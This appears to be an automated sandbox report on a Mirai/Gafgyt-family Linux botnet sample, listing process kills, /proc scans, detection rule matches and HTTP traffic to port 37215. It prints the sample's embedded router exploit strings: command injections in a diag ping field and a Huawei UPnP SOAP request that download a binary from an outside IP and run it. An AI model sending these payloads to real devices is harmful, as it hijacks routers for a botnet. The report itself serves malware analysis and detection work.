Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3184, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3187, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3188, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3189, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3190, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3193, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3207, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3215, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5515, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5517, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5519, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5520, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3129, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3184, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3187, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3188, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3189, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3190, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3193, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3207, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3215, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5515, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5517, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5519, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 5520, result: successful	Jump to behavior

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: na.elf PID: 5496, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@8/0

Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1610/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/512/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/514/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2946/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3757/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3011/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2955/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3129/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3125/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3245/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/769/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2956/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3142/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1635/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1633/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3139/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1873/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1630/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1639/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/5438/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1638/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/5333/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3398/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3392/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/661/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/782/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1369/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3304/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3425/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/940/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/941/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1640/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3268/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1364/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/548/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1647/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2991/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1383/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1382/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1381/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/791/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/671/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/794/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1655/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2986/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1653/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/797/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/2983/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3159/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/678/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1650/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3157/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/679/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3674/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/1659/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/3319/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5510)	File opened: /proc/5474/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 59924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46898 -> 37215
